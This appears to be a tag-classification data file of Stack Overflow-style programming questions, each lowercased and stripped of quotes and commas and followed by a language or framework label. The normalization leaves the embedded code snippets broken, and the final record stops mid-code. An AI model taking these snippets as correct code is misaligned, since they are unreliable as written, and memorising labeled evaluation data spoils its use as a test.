why is function shmget (key_t   size_t   int ) returning -1 in netbeans but it runs normally when compiled on the terminal  <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; /* to allow use of function: atoi() */ #include  process.h  #include &lt;string.h&gt;  #include &lt;sys/types.h&gt; #include &lt;sys/ipc.h&gt; #include &lt;sys/shm.h&gt; #include &lt;sys/wait.h&gt;  #include &lt;errno.h&gt; #include &lt;stdint.h&gt;  int  main(int  argc  char *argv[])  {     size_t size;     int shmid;     int *shmptr;     pid_t pid;     int status;      if (argc != 5)      {         printf( use: %s #1 #2 #3 #4\n   argv[0]);         exit(1);     }      shmid = shmget(ipc_private  4*sizeof(int)  ipc_creat|0666);     if (shmid &lt; 0)     {         perror( shmget );         printf( *** shmget error (server) ***\n );         printf( \nprint: %d  shmid);         printf( \nprint: %d  errno);         exit(1);     }     else     {         printf( %s   \nsuccess\n );         printf( \n%d\n   shmid);      }      return noerrors; } </code></pre>   output in netbeans:   <blockquote>    shmget: function not implemented   <strong>* shmget error (server) *</strong>        print: -1        print: 88        run failed (exit value 1  total time: 94ms)  </blockquote>   when i compile the code at the terminal through putty  it functions properly and <code>shmget()</code> doesn t return <code>-1</code>. the <code>perror()</code> message in netbeans says  function not implemented.  what is causing this  i just reinstalled the c compiler  make  gdb  and c++ compiler as well  but no fix.,c
get repeated elements from list  i need to get elements from database which repeat more than 3 times. here is my code how i do this:   <pre><code>    public static arraylist&lt;integer&gt; getprice(list&lt;integer&gt; list) {     arraylist&lt;integer&gt; result = new arraylist&lt;integer&gt;();     int val;     hashmap&lt;integer  integer&gt; map = new hashmap&lt;integer  integer&gt;();     for (int i = 0; i &lt; list.size(); i++) {         val = list.get(i);         if (!map.containskey(val)) {             map.put(val  1);         } else {             map.put(val  map.get(val) + 1);         }     }     for (map.entry&lt;integer  integer&gt; entry : map.entryset()) {         if (entry.getvalue() &gt; 3) { result.add(entry.getkey());         }     }     return result; } </code></pre>   is it good and effective way,java
proper c function argument variable definition location  i always declare functions ahead of main(). what confuses me is the correct (or at least  best practice) method of declaring  defining  assigning  and passing function arguments. for example  this works:   <pre><code>// example 1 // int idum1 = 1;  void my_func(int); // says the function s going to need an integer.  void main (void)  {     my_func(idum1); }  void my_func(idum2)  // is this then declaring and defining a local integer  idum2  {     // do stuff using idum2... } </code></pre>   but this works too:   <pre><code>// example 2 // int idum1 = 1;  void my_func(int idum2);  //is this declaring a variable idum2 local to my_func   void main (void)  {     my_func(idum1); }  void my_func(idum3) // a different variable or the same one (idum2) still works.                     //is this declaring idum3 as a local integer   {                   //what happened to idum2  still a viable integer in the function       // do stuff using idum3... } </code></pre>   and this works:   <pre><code>// example 3 // int idum1 = 1;  void my_func(int idum2);  // declaring...  void main (void)  {     my_func(idum1); }  void my_func(int idum2)  //declaring again. different address as in function declaration                           //same variable and address  {     // do stuff using idum2... } </code></pre>   and so does this:   <pre><code>// example 4 // int idum1 = 1;  void my_func(int);    void main (void)  {     my_func(idum1); }  void my_func(int idum2)  //yet another way that works. {     // do stuff using idum2... } </code></pre>   i m a self-taught beginner  but i ve been squeaking by for years not really knowing the right way and what s going on behind the scenes. i just know it works (always dangerous).    my gut says example 4 is the best way; tell it what type it s going to need  then declare it at the function along with the type for ease of coding and error checking. i m sure there are reasons to do it one way or another  depending on what you re trying to do  but could really use some guidance here.    i do see example 3 a lot  but that seems superfluous  declaring a variable twice.    can someone explain or point me to an article that explains the ins and outs of what i m trying to get at here  almost don t quite know what i m asking  iykwim. everything s so fragmented on the web. tried codingunit but the tutorials just aren t deep enough. tia!,c
method vs property  i m a newbie to .net. i have a class called project  a project can have multiple forecasts.now if i want to check if the projects has any forecasts or not should i use a readonly boolean property called hasforecast() or should i use a method named hasforecast() which basically returns a boolean value.from framework design guidelines i came to know that methods should be used when the operation is complex since here i m retrieving the value of forecasts from db should i consider method  or since it is a logical data member should i use a property.if i use a property can i call a method in dblayer from its getter.please explain    regards  ravi,.net
how to get specifying key s value array   i m trying to get array of just specifying key s value in following array obj.   <pre><code>ex1) if specifying key  name       wanted result is : { james    jhone    michael    donald    mac }  ex2) if specifying key  age       wanted result is : {25 27 35 25 26} </code></pre>   how to get     please help or advise.   <pre><code>nsarray *array = [[[nsarray alloc] initwithobjects:         @{@ name  : @ james   @ age  : @25}                  @{@ name  : @ jhone   @ age  : @27}                  @{@ name  : @ michael   @ age  : @35}                  @{@ name  : @ donald   @ age  : @25}                  @{@ name  : @ mac   @ age  : @26}                  nil] autorelease];  nspredicate *predicate = [nspredicate predicatewithformat:@      == name ]; nsarray *filtered = [array filteredarrayusingpredicate:predicate]; nslog(@ result : %@   filtered);  nspredicate *predicate = [nspredicate predicatewithformat:@      == age ]; nsarray *filtered = [array filteredarrayusingpredicate:predicate]; nslog(@ result : %@   filtered); </code></pre>,objective-c
code not opening page as expected  i have this code below in which i open a link from my app  the commented code works fine and i can open the wikipedia page. however  i am trying to do a google search instead and using link as a parameter. but the page open blanks. im really not sure as to why that is happening because if i copy and paste into my browser it opens the google page. is it because of the formatting     any help is appreciated. thank you   <pre><code>  nsstring *link=self.golink;   nsstring *strurl=[nsstring stringwithformat:@ https://www.google.com/search q=%@  link];   //[[uiapplication sharedapplication] openurl:[nsurl urlwithstring: @ http://en.wikipedia.org/wiki/mouse ]];  [[uiapplication sharedapplication] openurl:[nsurl urlwithstring:strurl]]; </code></pre>,objective-c
error:  cannot find symbol - method length()  when applied on jtextfield  i want to create a <code>paliodromechecker</code> but there is an error on   <pre><code>int length = txtinput.length();  </code></pre>   in <code>public void actionperformed(actionevent e)</code>. the error is    <blockquote>    cannot find symbol - method length()  </blockquote>   did i do any wrong with code    <pre><code>public class checker extends jframe implements actionlistener {  private jbutton btncheck; private jlabel lblinput  lbloutput; private jtextfield txtinput;  public q4() {     container c = getcontentpane();     c.setlayout(new gridlayout(3 1));     jpanel p1 = new jpanel();     jpanel p2 = new jpanel();     jpanel p3 = new jpanel();     lblinput = new jlabel( enter a word: );     lbloutput = new jlabel( welcome to check palindrome );     btncheck = new jbutton( check palindrome );      txtinput = new jtextfield(15);     p1.add(lblinput);     p1.add(txtinput);     p2.add(btncheck);     p3.add(lbloutput);     c.add(p1);     c.add(p2);     c.add(p3);     btncheck.addactionlistener(this);  }       public void actionperformed(actionevent e){    int length = txtinput.length();     string reverse =   ;       for ( int i = length - 1 ; i &gt;= 0 ; i-- )      reverse = reverse + txtinput.charat(i);       if(txtinput.equals(reverse))      lbloutput.settext(txtinput.gettext() +  is paliodrome );      else       lbloutput.settext(txtinput.gettext() +  is not paliodrome );     }   public static void main(string[] args){     q4 mygui = new q4();     mygui.settitle( paliodromechecker );     mygui.setsize(350 150);     mygui.setvisible(true); } </code></pre>,java
c# the best way to compare 4 strings and ignore the empty one  i want to compare 4 strings if they are equal or not. the problem is that i have to ignore the empty strings  <em>but if they are</em> <strong>all</strong> <em>empty then the method must also return true  because all empty strings are equal</em>. i could write everything down like    <pre><code>if(string1 != string.empty &amp;&amp; string2 != string.empty &amp;&amp;                string1 != string2) {    return false } if(string1 != string.empty &amp;&amp; string2 != string.empty &amp;&amp;  string3 != etc.... </code></pre>   but i think there is a better way then writing out all the possibilities.  but how,c#
pass rails object value into span title  i want to be able to pass an object value into the title of a span element however when i use the below code on hover #{campaign.status} is displayed rather than aprroved or rejected as is my intention.   <pre><code>%td.status-data= campaign.status ==  approved     &lt;span title= #{campaign.status}  class= glyphicon glyphicon-ok green center &gt;&lt;/span&gt; .html_safe : campaign.status ==  rejected     &lt;span title= #{campaign.status}  class= glyphicon glyphicon-remove red center &gt;&lt;/span&gt; .html_safe : campaign.status </code></pre>,ruby-on-rails
angularjs form is not in html  i am trying to use angularjs validation in order to validate a simple form  however i was having troubles getting my <code>ng-class</code> to show the correct class based off whether or not the <code>input</code> was dirty or not. then when i looked at the actual html of the page  the <code>&lt;form&gt;</code> tags are not even in the document at all!   <pre><code>&lt;form novalidate name= infoform &gt;             &lt;p&gt;to start  provide some basic information about the project.&lt;/p&gt;                  &lt;ul class= ulformgeneral &gt;                     &lt;li&gt;                         &lt;label&gt;company name&lt;/label&gt;                         &lt;input id= companyname  ng-class= { cverror : infoform.companyname.$dirty }  ng-model= form.companyname  name= companyname  maxlength= 100  type= text  required /&gt;                     &lt;/li&gt;                 &lt;/ul&gt;               &lt;/form&gt; </code></pre>   i want the <code>cverror</code> class to be added to this <code>input</code> if it is dirty  but nothing happens when i look at this in the browser. what am i doing wrong that is causing the <code>&lt;form&gt;</code> to just leave the dom and then not work with my angular expressions,angularjs
how to pass a pointer to a pointer to a struct member   so the problem at hand is to convert a string of digits in the format yyyymmdd to a struct tm type member within some other structure. truth is  i really only care about getting a struct tm with reasonable values in it.     consider the following struct :    <pre><code>typedef struct some_node {     char somestring[64];     char anotherstring[128];     struct tm date_one;     struct tm date_two;     int some_val;     struct some_node *prev;     struct some_node *next; } some_node_t; </code></pre>   inside there i have two members of type struct tm from the time.h header. seems very reasonable. also there are pointer members in there to make a linked list however that isn t the issue.     so i create the first node in my yet to be created linked list like so :    <pre><code>/* begin the linked list of some_node_t */ struct some_node *t_head =                 calloc( (size_t) 1  sizeof( some_node_t ) ); if ( t_head == null ) {     /*memory allocation fault */     printf (   fail : memory allocation fault at %s(%d)\n                  __file__  __line__  );     exit ( exit_failure ); }  /* i used calloc above which zero fills memory so these   * next lines are not really needed. better safe than sorry. */ t_head-&gt;some_val = 0; t_head-&gt;prev = null; t_head-&gt;next = null; </code></pre>   then i can stuff char data into the two char members :    <pre><code>strcpy ( t_head-&gt;somestring   birthday  ); strcpy ( t_head-&gt;anotherstring   19981127  ); </code></pre>   no problem there.    messing with the conversion of a string to a struct tm seems reasonable within a function as i have to do it twice perhaps.     therefore i write this :    <pre><code>int timestr_to_tm ( struct tm **date_val  char *yyyymmdd ) {     /* assume 8 digits received in format yyyymmdd */     int j  date_status = -1;     char yyyy[5]= 0000 ;     char mm[3]= 00 ;     char dd[3]= 00 ;      /* copy over the year digits first */     for ( j=0; j&lt;4; j++ )         yyyy[j]=yyyymmdd[j];      /* month digits */     mm[0]=yyyymmdd[4];     mm[1]=yyyymmdd[5];      /* day digits */     dd[0]=yyyymmdd[6];     dd[1]=yyyymmdd[7];      *(date_val)-&gt;tm_year = atoi(yyyy) - 1900;     *(date_val)-&gt;tm_mon = atoi(mm) - 1;     *(date_val)-&gt;tm_mday = atoi(dd);     *(date_val)-&gt;tm_hour = 0;     *(date_val)-&gt;tm_min = 0;     *(date_val)-&gt;tm_sec = 0;     *(date_val)-&gt;tm_isdst = -1;      return 0;  } </code></pre>   so my hope here is that i can pass a pointer to a pointer to the member date_one within t_node to that function.   <pre><code>if ( timestr_to_tm ( &amp;(t_node-&gt;date_one)   19981127  ) &lt; 0 ) {     /* deal with a bad date conversion */ } </code></pre>   well my compiler has a fit here. claiming :    <pre><code>error: argument #1 is incompatible with prototype: </code></pre>   perhaps i should have &amp;t_head->date_one but i think that the pointer dereference operator  ->  takes precedence over the  address of  operator. perhaps it is bad policy to even attempt to pass a pointer to a member within a struct      even worse  within the function timestr_to_tm() i get :    <pre><code>error: left operand of  -&gt;  must be pointer to struct/union </code></pre>   in those lines where i try to assign values into the struct tm variable.     i tried all this without passing pointers and the process works however upon  return there is nothing in the struct tm member. so i am wondering  what am  i missing here,c
how to loop back the attribute in an nsobject   for example the object is something like this:   <pre><code>myuser: nsobject{    nsstring *firstname;    nsstring *lastname;    nsstring *gender;    int       age; } </code></pre>   and i would like to compare to user  if their attributes are the same  i will treat it as equal... instead of write a static method to compare enough attribute one by one  can i have a lazy way to get all the attribute to compare themselves  thanks.,objective-c
factory (design pattern) in objective c  i m trying to create a factory (design pattern) in objective c so i m doing something like:       <pre><code>+ (car *)createcar:(int)color {     if (color == 1) {         return [carfactory createbluecar];     } else if (color == 2) {         return [carfactory createredcar];     } else {         return nil;     } }  + (car *)createbluecar {     // ... }  +(car*)createredcar{     // ... } </code></pre>   however i don t want the <code>createbluecar</code> and the <code>createredcar</code> to be available to public and if i don t define them in the <code>.h</code> file then i get a warning of the missing definition.    i m a former java developer and a newbie in objective-c — so it might be just bad practice if so what the be good practice of doing so.,objective-c
scrapy export html - decoded tags &lt; &gt; instead of < >  working on a spider which uses <code>xmlitemexporter</code>. i have one field which is the plain html. the problem is that scrapy exports <code>&amp;lt;</code> as <code>&lt;</code> and <code>&amp;gt;</code> as <code>&gt;</code>.   <pre><code>&lt;html_description&gt;&amp;lt;div class= col-md-12 &amp;gt;         &amp;lt;div class= clear &amp;gt;&amp;lt;/div&amp;gt;         ... &lt;/html_description&gt; </code></pre>   this is how html_description is parsed from page:   <pre><code>response.selector.xpath( //p[@id= content ]/parent::div ).extract_first() </code></pre>   this is my export pipeline:   <pre><code>class xmlexportpipeline(object):     def __init__(self):         self.files = {}      @classmethod     def from_crawler(cls  crawler):         pipeline = cls()         crawler.signals.connect(pipeline.spider_opened  signals.spider_opened)         crawler.signals.connect(pipeline.spider_closed  signals.spider_closed)         return pipeline       def spider_opened(self  spider):         file = open( %s_products.xml  % spider.name   w+b )         self.files[spider] = file         self.exporter = xmlitemexporter(file encoding= utf-8 )         self.exporter.start_exporting()       def spider_closed(self  spider):         self.exporter.finish_exporting()         file = self.files.pop(spider)         file.close()       def process_item(self  item  spider):         self.exporter.export_item(item)         return item </code></pre>   do you know how to make it be plain html  for example by using <code>cdata</code>.    i tried to add it into cdata <code>html_description= &lt;![cdata[ +description_html+ ]] </code> but it doens t work either.,html
close the form from mdi parent when i click to open any other form  i have a mdi form and there is lot of other form linked with the menu strip. when i click any other menu item then there should be close previous open form inside the mdi parent form.,c#
php variables and strings  getting very confused with echoing an html anchor with a variable inside.   <pre><code>&lt; php echo  &amp;nbsp;&amp;nbsp;&lt;a href=  p= .$current_page +1 . &gt;next&lt;/a&gt; ;  &gt; </code></pre>   i ve tried so many variations of lost which ones i ve tried. one of the attempts was with curly brackets <code>{</code> but still nothing. i know i m getting my single and double quotes muddled up!    could somebody please put me straight on this one. also  what is the rules for apostrophes and quotes in php. if i want to echo something  what shall i start it with  an apostrophe or a quote.,php
php detecting a redirect to self  is it possible to detect a redirect in php  if the redirect was to itelf     in breif; can i add a line or two of code to the top of my page to first check if the page is a redirect. if it is act on it     <strong>php final line excuted on submit</strong>    <code>header( location:   . $_server[ request_uri ]);</code>    <strong>html form</strong>    <code>&lt;form action= &lt; php echo htmlspecialchars($_server[ php_self ]); &gt; submit=true  method= post &gt;</code>    still green with php  so learning little by little. basically i need to control some variables if the page was redirected but only if.,php
"i m trying to add some <li> element  but the lists never appear  i am trying to make a to do list app. i just finished input part  but i have a trouble with make a list. in my code  after the  the  part can not appear  there is no text after the header. i have tried change the code <code>&lt;div&gt;...&lt;/div&gt;</code> to <code>&lt;p&gt;...&lt;/p&gt;</code>  but it still does not work. i want know whats wrong with my code.        <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body 
 input 
 button {
   font-family:  orbitron   sans-serif;
 }
 
 header {
   width: 100%;
   height: 300px;
   top: 0;
   left: 0;
   box-shadow: 0px 2px 4px rgba(44  62  80  0.15);
   position: fixed;
   background-color: #25b99a;
   outline: none;
   padding: 15px;
   box-shadow: 0px 2px 4px rgba(44  62  80  0.15);
 }
 
 header input {
   width: 100%;
   height: 75px;
   top: 200;
   float: left;
   font-size: 20px;
   font-weight: 400;
   text-indent: 30px;
   margin-top: 35px;
   background: rgba(255  255  255  0.3);
   border-top-left-radius: 15px;
   border-top-right-radius: 35.5px;
   border-bottom-right-radius: 35.5px;
   border-bottom-left-radius: 15px;
   outline: none;
   box-shadow: none;
   border: 0;
   -webkit-appearance: none;
   -moz-appearance: none;
   position: sticky;
 }
 
 header button {
   width: 75px;
   height: 75px;
   position: absolute;
   top: 137px;
   right: 15px;
   z-index: 2;
   border-radius: 35.5px;
   background: #fff;
   border: 0px;
   box-shadow: none;
   outline: none;
   cursor: pointer;
   -webkit-appearance: none;
   -moz-appearance: none;
 }
 
 header input::-webkit-input-placeholder {
   color: rgba(255  255  255  0.75);
 }
 
 header input:-moz-input-placeholder {
   color: rgba(255  255  255  0.75);
 }
 
 header input::-moz-input-placeholder {
   color: rgba(255  255  255  0.75);
 }
 
 header input:-ms-input-placeholder {
   color: rgba(255  255  255  0.75);
 }
 
 header button svg {
   width: 26px;
   height: 26px;
   position: absolute;
   top: 50%;
   left: 50%;
   margin: -13px 0 0 -13px;
 }
 
 header button svg .addicon {
   fill: #25b99a;
 }
 
 p {
   font-size: 300%;
   color: rgba(255  255  255);
 }
 
 .container {
   width: 100%;
   float: left;
   padding: 20px;
 }
 
 ul.todo {
   width: 100%;
   float: left;
   height: 50px;
   background: #fff;
   border-radius: 5px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;header&gt;
   &lt;p class= text-center  style= font-size:300%;color:rgba(255 255 255); &gt;to do list&lt;/p&gt;
   &lt;input type= text  placeholder= what is your plan   id= plan &gt;
   &lt;button id= add &gt;
           &lt;svg version= 1.1  xmlns= http://www.w3.org/2000/svg  xmlns:xlink= http://www.w3.org/1999/xlink  x= 0px  y= 0px viewbox= 0 0 16 16  style= enable-background:new 0 0 16 16;  xml:space= preserve &gt;&lt;g&gt;&lt;path class= addicon  d= m16 8c0 0.5-0.5 1-1 1h9v6c0 0.5-0.5 1-1 1s-1-0.5-1-1v9h1c0.5 9 0 8.5 0 8s0.5-1 1-1h6v1c0-0.5 0.5-1 1-1s1 0.5 1 1v6h6c15.5 7 16 7.5 16 8z /&gt;&lt;/g&gt;&lt;/svg&gt;
          &lt;/button&gt;
 &lt;/header&gt;
 
 &lt;div class= container &gt;
   &lt;ul class= todo &gt;
     &lt;li&gt;hahahaha&lt;/li&gt;
     &lt;li&gt;hahahaha&lt;/li&gt;
     &lt;li&gt;hahahaha&lt;/li&gt;
   &lt;/ul&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",html
which angular provider for function syntax   let s say i have a provider named <code>lookup</code>. it s used like this:   <pre><code>.controller( lookupctrl   [ lookup   function(lookup) {     this.values = lookup( monkey ); }]); </code></pre>   what is <code>lookup</code>  is it a <code>service()</code>  is it a <code>factory()</code>  a <code>value()</code>,angularjs
initializing instance method values for inherited models in rails  i need help on single table inheritance (sti) and initializing default values for inherited models.    for example  i have omnivore  herbivore  and herbivore models which inherit from player  and player inherits from user.    via sti  all models have lvl  xp  hp  ap and max_xp  max_hp  and max_ap.    via the database  all values default to 0 or 1. (:users  :xp  :integer  default: 0)     but what i m trying to do is to initialize different values for instances of each class. for example each new carnivore object would have set values of lvl: 1 xp: 0/50  hp: 5/5  ap: 3/3  while herbivore would have lvl:1 xp: 0/50  hp: 3/3  ap: 5/5  herbivore lvl: 1 xp: 0/50  ap/hp: 4/4.    also  when xp value exceeds max_xp  lvl would be incremented. something like    <pre><code>when xp &gt; max_hp   lvl += 1 end </code></pre>   or   <pre><code>xp = 70  lvl = case xp   when 0..40 then 1   when 41..60 then 2   when 61..70 then 3   when 71..100 then 4   else  overpowered  end  where do i put this  </code></pre>   how might u approach both issues      i thought something like this might work for initializing values   <pre><code>def initialize   @xp = 100 end </code></pre>   but that didn t work  instead setting @xp to nil. any help will be appreciated!,ruby-on-rails
jquery document height and window height  i have a problem with following jquery code   <pre><code>if ($(window).scrolltop() &gt;= ($(document).innerheight() - $(window).innerheight()))  </code></pre>   in google chrome the code is working perfectly but in firefox or ie it doesn t. there s any way to rewrite it      thank you!    edit:    after some debug.. the value of document height - window height is bigger than  window.scrolltop  so the following code is a possible fix   <pre><code>if ($(window).scrolltop() &gt;= ($(document).innerheight() - $(window).height() - 2)) { </code></pre>,jquery
mysql order by letters then numbers  i have mysql query with an order by that looks like this:   <pre><code>order by home_status = 2  home_lot_size  home_status asc  home_price </code></pre>   now the home_lot_size can either be townhome  30  36  40  46  50 but the order comes out like this  30  36  40  46  50 and then townhome  i am looking to get townhome at the top then 30  36  40  46  50    is this possible,mysql
jquery: mouse events aren t working <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js ver=1.4.2 &gt;&lt;/script&gt;      &lt;script&gt;         $(document).ready(function() {             $( .mydiv ).mouseenter(function() {                 $( .mydiv ).fadeto( fast   1);             });             $( .mydiv ).mouseleave(function() {                 $( .mydiv ).fadeto( fast   0.5);             });         });     &lt;/script&gt;     &lt;link rel= stylesheet  type= text/css  href= stylesheet.css &gt; &lt;/head&gt;   &lt;body&gt;      &lt;div class= mydiv &gt;&lt;br&gt;&lt;strong&gt;click me!&lt;/strong&gt;&lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   the code above is a test html file in which the jquery isn t working  could anybody help me find a solution to my problem. i can t find the error (i use google chrome 34.0.1847.137 m).    if anybody needs  this is the css file:   <pre><code>div {     height: 60px;     width: 100px;     border-radius: 5px;     background-color: #69d2e7;     text-align: center;     color: #ffffff;     font-family: verdana;     opacity: 0.5; } </code></pre>,jquery
password verify function not working  i am making a login/register system in php. i have a big problem with password verification. i hash the password of a user when he registers but the password_verify function is not working. in the code below as you can see i am trying to get an answer whether it get the password or not...i always get  error  as answer...      $email = mysqli_real_escape_string($con $_post[ email ]);      $password = mysqli_real_escape_string($con $_post[ password ]);   <pre><code>  $result=mysqli_query($con  select * from users where     email= $email  );   $count=mysqli_num_rows($result);   $pass=mysqli_fetch_assoc(result);   if($count == 1)      {        if(password_verify($password $pass[ password ]))        {        $_session[ email ]=$email;        if($checkbox= on )        {          setcookie( email  $email time()+3600);        }        header( location: profile.php );      }       }  else { $error= error with either the email or the password ; } </code></pre>,php
python 3 - hex-string to bytes  i am using python 3 and try to convert a hex-string to a byte-represented form. so i used the following command:   <pre><code>bytes.fromhex( 97ad300414b64c ) </code></pre>   i expected results like this: <code>b \x97\xad\x30\x04\x14\xb6\x4c  </code> but got <code>b \x97\xad0\x04\x14\xb6l </code>. i am note sure what i am doing wrong  but maybe it is something with the encoding,python
your apple id account is also attached to other itunes providers  i am getting this problem when trying to login to application loader.     your apple id account is also attached to other itunes providers. you will need to create a new user on itunes connect to submit content to this account. please contact us if you have questions or need help.     can any on help me how to solve this issue       thanks,ios
ng-option filter reservse select first value  hi trying to select the first option using filter/orderby: however its not working  i know that | is a filter function in angular. its selecting the last value/label at the moment  how can i select the first label (days) instead     i tried orderby: -npu.label and the code below but no luck.   <pre><code>vm.noticeperiodunitvalue = [{         value: 1          label:  days      }  {         value: 7          label:  weeks      }  {         value: 30          label:  months      }  {         value: 365          label:  years      }];  &lt;select name= noticeperiodoptions  data-ng-change= vm.setnoticeperiod()  data-ng-model= vm.noticeperiodunit               class= form-control search-input inverted mt-10  id= profile_notice-period-unit               data-ng-options= npu.value as npu.label for npu in vm.noticeperiodunitvalue | filter: -npu.label &gt;          &lt;/select&gt; </code></pre>,angularjs
why can t i convert the list that i fetched with readlines()  to floats   i ve opened a new file via my ide and turned it into a list via readlines. why  because i want to print them underneath each other. when i use <code>read()</code>  it just prints one item  while i need the whole list to be printed.    the actual file:   <pre><code>[ some name__________1.5 6.5 6.5\n    another name________6.3 1.2 1.5\n ] </code></pre>   right now  i have managed to fetch the last part of the list which looks likes this:   <pre><code>1.5 3.5 4.5 2.5 3.5 4.5 5.5 3.5 4.5 </code></pre>   <strong>what i want to do now  is to calculate the average of these numbers  but: python does not recognize them as numbers (ints  floats) at all.</strong>    when i d use <code>type(thevariablethatcontainsmylist)</code>  it doesn t show the type of it. therefore  i don t think they are ints  strings or floats.    what i think i need to do  is to convert the items in this list  into floats  because they are supposed to be floats. but to do so  i need to know what i am doing wrong and how i could fix that.    <strong>this is my code:</strong>   <pre><code>def zopenfile():     filefolder = open( textfile    r )      readfile = filefolder.readlines()      for line in readfile:         line = line.split( _ )          grades = line[-1]          print grades  zopenfile() </code></pre>   i tried doing <code>grades = map(float line[-1])</code>    but in that case  the console says: <code>could not convert string to float: .</code>    the weird part is  that if i would use <code>type(grades)</code>  it wouldn t say it has the type of a string in the console. i am confused right now... is it a string  is it a float already  if so  why can t i just map it into a float     can someone point me in the right direction please     and i know i can use <code>read()</code>  but i don t want to. can someone show me how to do it with <code>readlines()</code> instead,python
position 3 or more divs centrally within a single container div  i cant seem to find a definitive answer to this. i have three or more div s each 120px wide within a div of 100% width; the amount of divs in the div is variable  but i want them to appear in the centre of the containing div and spread outwards from the middle the more that are added. i guess i could probably just wrap them in a  tag  but i would rather a css way of doing it. can anyone provide a nice mechanism for doing this at all please,css
how can i open several links in a text file automatically without clicking each individually   i have a text file with over 700 html links. how can i open all of them automatically without clicking each individually,html
is there any key/value pair structure in javascript   i want to store information like:    <em>pseudo-code</em>   <pre><code>array(manager) = { prateek   rudresh   prashant }; array(employee) = { namit   amit   sushil }; array(hr) = { priya   seema   nakul }; </code></pre>   what kind of data structure can i use,javascript
writetourl objective-c not working  writetourl   <pre><code> nsstring *url=@ http://192.168.1.100:88/outs.cgi out=0 ;     bool okay = [url writetourl:url atomically:no encoding:nsutf8stringencoding              error:null];     if (!okay)     {         nslog(@ error writing to url. );     } </code></pre>   objectivec does not work. i have a link to the electronic module to the lan that is attached cord functions. example: 192.168.1.100:88 / st0.xml and feedback are: visible content in the browser: 11111upupupup291157-890-890-000000-600-600-600-600-600-600 345325435643254364245624562465.    i m interested in how to send a through writetourl and how to save it to a string that comes in response. please help. this method back to me error writing to url.,objective-c
angularjs: get data response from server using custom action resource  i am trying to get the response from the server which returns something like <code>true  false</code>  or something else  depending on the request i do  the application i am developing is using a <code>restful</code> server i created  and just for testing purposes i made it return <code>true</code> or <code>false</code>  later i will make it return proper <code>json</code> data.    here i am trying to get the response from this code (i am not sure how to use promises yet)   <pre><code>app.service( userservice   [ $resource   function($resource){     var self = this;      self.login = function(credentials){         var handler = $resource( server/web/user/access   null  {             access: {                 method:  post              }         });          handler.access(credentials).$promise.then(function(data){             console.log(data);         });     } }]); </code></pre>   for now i am just logging what it seems to return from the server  but the log shows another promise. for now i just need to get the data so i can make the conditions  parse objects  or show data it returns from the <code>restful</code> server,angularjs
use of declared variable in select statment  i am trying to execute below query but mysql says <code>syntax error: unexpected  @my_var  (at text suffix)</code>   <pre><code>set @my_var = 1; insert into table1(id  myvar) select * from (last_insert_id()  @my_var) as tmp </code></pre>   how can i use declared variable in above query,mysql
how to assign to a variable a variable name to get the value of the variable   <strong>how to assign to a variable a variable name to get the value of the variable </strong>  this works   <pre><code>a=1 b=a </code></pre>   it outputs a if you used<code>print(b)</code> you will get 1.but if i used this     <pre><code> for i in range (0 a1 2):      r=i/2      e[r] = c%s %i      print(e[r]) </code></pre>   (c0  c2  c4 ... has a value)  then it will output c0  c2  c4...  how can i make it output the value of c0 c2 c4...  i tried changing the <code>  </code>to<code>   </code>but it still don t work.,python
mp4 stream to iphone/ipod touch via http  is it possible to stream video to iphone/ipod touch over http without a proper streaming server with .net  may be some sort of progressive download,iphone
i want to get the data from the access database to a text file in c#  i have written the following code but i am not getting any output <pre><code>private void button3_click(object sender  eventargs e) {     try {         connection.open();         oledbcommand command = new oledbcommand();         command.connection = connection;         command.commandtext =  select action from rvrait ;         oledbdatareader reader = command.executereader();         richtextbox1.text = (reader[ action ].tostring());         connection.close();     }     catch(system.data.oledb.oledbexception)     {     } </code></pre>,c#
applying text to an image in php  alright so i am trying to apply some text to an image i am uploading to my website. i am basically saving the normal version of it + edited one. here are the problems   <ul> <li>original image gets zoomed in so only 50% of it is visible</li> <li>image that should be edited version is not being saved at all  all i get is preview of it...</li> <li>i want to set the edited images size to 100x100px but i dont know how</li> </ul>   the code i m using:   <pre><code>&lt; php     if(session_status() == php_session_none) {         session_start();     }     require_once  assets/core/user.php ;      use app\user\control as user_c;       $target_dir =  assets/img/user_uploads/ ;     $target_file = $target_dir . basename($_files[ filetoupload ][ name ]);     $uploadok = 1;     $imagefiletype = pathinfo($target_file pathinfo_extension);     $custom_name = substr(hash( sha512  $_session[ username ]. _ .time()) 10 20);     $filename = basename($_files[ filetoupload ][ name ]);       // check if image file is a actual image or fake image     if(isset($_post[ submit ])) {         $check = getimagesize($_files[ filetoupload ][ tmp_name ]);         if($check !== false) {             $uploadok = 1;         } else {             echo  file is not an image. ;             $uploadok = 0;         }     }      // check file size     if ($_files[ filetoupload ][ size ] &gt; 1500000) {         echo  fajl je preveliki ;         $uploadok = 0;     }      // check if $uploadok is set to 0 by an error     if ($uploadok == 0) {         echo  &lt;br/&gt;sorry  your file was not uploaded.  . file name:  .$filename. &lt;br/&gt; file type:  .$imagefiletype.  &lt;br/&gt; target:  .$target_file;     // if everything is ok  try to upload file     } else {         if (move_uploaded_file($_files[ filetoupload ][ tmp_name ]   assets/img/user_uploads/ .$custom_name. . .$imagefiletype)) {              //just adding stuff to mysql             $user = new user_c();              if ($_post[ customfiletext2 ] ==   ) {                 $user-&gt;submituserupload($_session[ username ]  $custom_name  $_post[ customfiletext ].   .$_post[ customfiletext2 ]  $_post[ selectval ]  $imagefiletype);             } else {                $user-&gt;submituserupload($_session[ username ]  $custom_name  $_post[ customfiletext ]. _linebreak_ .$_post[ customfiletext2 ]  $_post[ selectval ]  $imagefiletype);              }               //creating edited image              $file_formated =  assets/img/user_uploads/ .$custom_name. . .$imagefiletype;              $stamp = imagecreatefromfile($file_formated);              $im = imagecreatefrompng( demo.png );              $marge_right = 10;             $marge_bottom = 10;             $sx = imagesx($stamp);             $sy = imagesy($stamp);              imagecopy($im  $stamp  imagesx($im) - $sx - $marge_right  imagesy($im) - $sy - $marge_bottom  0  0  imagesx($stamp)  imagesy($stamp));              // output and free memory             header( content-type: image/png );             imagepng($im);             imagedestroy($im);              header( location: index 